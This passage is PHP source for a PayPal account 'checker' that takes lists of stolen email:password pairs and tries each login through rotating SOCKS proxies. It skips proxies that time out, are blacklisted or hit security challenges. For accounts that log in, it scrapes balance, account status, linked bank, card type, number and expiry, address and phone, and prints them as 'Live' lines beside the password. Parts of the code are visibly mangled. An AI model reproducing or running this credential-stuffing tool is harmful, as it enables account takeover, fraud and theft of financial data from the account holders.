(.+)<\/tr>/siU', $response, $matches);
$cc = array();
foreach($matches[1] AS $k => $v){
if($k>0){
preg_match_all('/(.+)<\/td>/siU', $v, $m);
$type = fetch_value($m[1][0],'alt="','"');
$ccnum = $m[1][1];
$exp = $m[1][2];
$cc[] = "$type [$ccnum $exp]";
}
}
$infocard = "" . implode("-", $cc) . "";
return $infocard;
}
function infoBank(){
global $config,$sock;
$response = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1");
//echo ' -> Fetching Bank';xflush();
if(stripos($response,'ach_id')!==false)
return true;
return false;
}
function info(){
global $config,$sock;
$response = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-address&nav=0.6.3");
//echo ' -> Fetching Information';xflush();
$info = str_replace(" ",", ",fetch_value($response,'emphasis">',''));
return substr($info,0,-2);
}
function infoPhone(){
global $config,$sock;
$response = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-phone&nav=0.6.4");
//echo ' -> Fetching Phone';xflush();
$info = strip_tags(''));
return $info;
}
if($_POST['btn-submit']){
xflush();
$socks = array_unique(get($_POST['socks']));
$emails = explode("\n",trim($_POST['mp']));
$sCount = count($socks);
$eCount = count($emails);
$failed = $live = $uncheck = array();
$checked = 0;
foreach($socks AS $sock){
if(!count($emails)) break;
delete_cookies();
$sockClear = isSockClear();
if($sockClear==-1){
display('[' . $sock . ' => Timeout/Die]');
}
elseif($sockClear==0){
display('[' . $sock . ' => Blacklist]');
}
xflush();
if($sockClear!=1) continue;
display('[' . $sock . ' => OK]');
xflush();
$failed[$sock] = 0;
foreach($emails AS $k => $line){
$info = explode($_POST['delim'],$line);
$email = trim($info["{$_POST['mail']}"]);
$pwd = trim($info["{$_POST['pwd']}"]);
if(stripos($email,'@')===false || strlen($pwd)<8){
unset($emails[$k]);
display($email . ' | ' . $pwd . ' -> Wrong Mail/Pass Paypal Format');
xflush();
continue;
}
if($failed[$sock] > 5) break;
delete_cookies();
if(!curl("https://www.paypal.com/")){
display('[' . $sock . ' => Timeout/Die]');
xflush();
break;
}
$var = "login_email=" . urlencode($email) . "&login_password=" . urlencode($pwd) . "&target_page=0&submit.x=Log+In&form_charset=U TF-8&bp_mid=v%3D1%3Ba1%3Dna%7Ea2%3Dna%7Ea3%3Dna%7Ea 4% 3DMozilla%7Ea5%3DNetscape%7Ea6%3D5.0+%28Windows%3B +en-US%29%7Ea7%3D20110619%7Ea8%3Dna%7Ea9%3Dtrue%7Ea10% 3DWindows+NT+6.1%7Ea11%3Dtrue%7Ea12%3DWin32%7Ea13% 3Dna%7Ea14%3DMozilla%2F5.0+%28Windows%3B+U%3B+Wind ows+NT+6.1%3B+en-US%3B+rv%3A1.9.2.18%29+Gecko%2F20110619+Firefox%2F 3.6.18+%28Palemoon%2F3.6.18%29%7Ea15%3Dtrue%7Ea16% 3Den-US%7Ea17%3Dna%7Ea18%3Dwww.paypal.com%7Ea19%3Dna%7E a20%3Dna%7Ea21%3Dna%7Ea22%3Dna%7Ea23%3D1280%7Ea24% 3D800%7Ea25%3D24%7Ea26%3D770%7Ea27%3Dna%7Ea28%3DTu e+Nov+22+2011+19%3A23%3A55+GMT%2B0700+%28SE+Asia+S tandard+Time%29%7Ea29%3D7%7Ea30%3Ddef%7Cqt1%7Cqt2% 7Cqt3%7Cqt4%7Cqt5%7Cqt6%7Cswf%7Crpl%7Crpv%7C%7Ea31 %3Dyes%7Ea32%3Dna%7Ea33%3Dna%7Ea34%3Dno%7Ea35%3Dno %7Ea36%3Dyes%7Ea37%3Dno%7Ea38%3Donline%7Ea39%3Dno% 7Ea40%3DWindows+NT+6.1%7Ea41%3Dno%7Ea42%3Dno%7E&bp _ks1=v%3D1%3Bl%3D8%3BDi0%3A68417Ui0%3A82Di1%3A71Di 2%3A70Ui1%3A15Ui2%3A70Di3%3A105Ui3%3A60Di4%3A70Ui4 %3A60Di5%3A103Ui5%3A67Di6%3A329Ui6%3A114Di7%3A66Ui 7%3A94&bp_ks2=&bp_ks3=&browser_name=Firefox&browse r_version=undefined&browser_version_full=3.6.18&op erating_system=Windows&flow_name=xpt%2FMarketing_C ommandDriven%2Fhomepage%2FMainHome&fso_enabled=11" ;
$s = curl("https://www.paypal.com/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f8e263663d3faee8db2 b24f7b84f1819343fd6c338b1d9d60", $var);
if(!$s){
display('[' . $sock . ' => Timeout/Die]');
xflush();
break;
}
if(stripos($s,'security challenge')!==false){
display('[' . $sock . ' => Bad sock]');
xflush();
break;
}
$checked++;
$error = fetch_value($s,'s.prop14="','"');
if($error = fetch_value($s,'s.prop14="','"')){
unset($emails[$k]);
display("Die => $sock | $email | $pwd");
$failed[$sock]++;
xflush();
continue;
}
$loggedIn = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_account&nav=0.0");
if(!$loggedIn){
display('[' . $sock . ' => Timeout/Die]');
unset($emails[$k]);
array_push($emails, $line);
xflush();
break;
}
if(stripos($loggedIn,'class="balance">')!==false){
$loggedIn = preg_replace('//si','',$loggedIn);
$loggedIn = preg_replace('/\n+/si','',$loggedIn);
$pp = array();
$pp['type'] = fetch_value($loggedIn,'s.prop7="','"');
$pp['type'] = '' . ucfirst($pp['type']) . '';
$pp['status'] = fetch_value($loggedIn,'s.prop8="','"');
$pp['status'] = '' . ucfirst($pp['status']) . '';
if(fetch_value($loggedIn,'s.prop9="','"')!='unrest ricted')
$pp['limited'] = 'Limited';
$pp['bl'] = fetch_value($loggedIn,'','');
if($pp['bl']){
if(stripos($pp['bl'],'strong')!==false)
$pp['bl'] = trim(fetch_value($pp['bl'],'',''));
}
else
$pp['bl'] = fetch_value($loggedIn,'','');
if(!$pp['limited']){
if($_POST['bank'])
$pp['bank'] = infoBank() ? "Have Bank" : "No Bank";
if($_POST['card']){
$card = infoCard();
$card = ($card) ? $card : "No Card";
$pp['card'] = $card;
}
if($_POST['info']){
$pp['address'] = info();
$pp['phone'] = infoPhone();
}
}
$pp['lastloggin'] = strip_tags(fetch_value($loggedIn,'',' '));
$xyz = "Live => $sock | $email | $pwd | " . implode(" | ",$pp);
$live[] = $xyz;
unset($emails[$k]);
display($xyz);
xflush();
}
else{
$title = fetch_value($s,'title>','');
display("Bad Account => $sock | $email | $pwd | $title");
unset($emails[$k]);
xflush();
}
xflush();
break;
}
}
display("Total: $eCount - Checked: $checked - Live: " . count($live) . "");
display(implode(" ",$live));
if(count($emails)){
display("Uncheck:");
display(implode(" ",$emails));
}
}
?>
|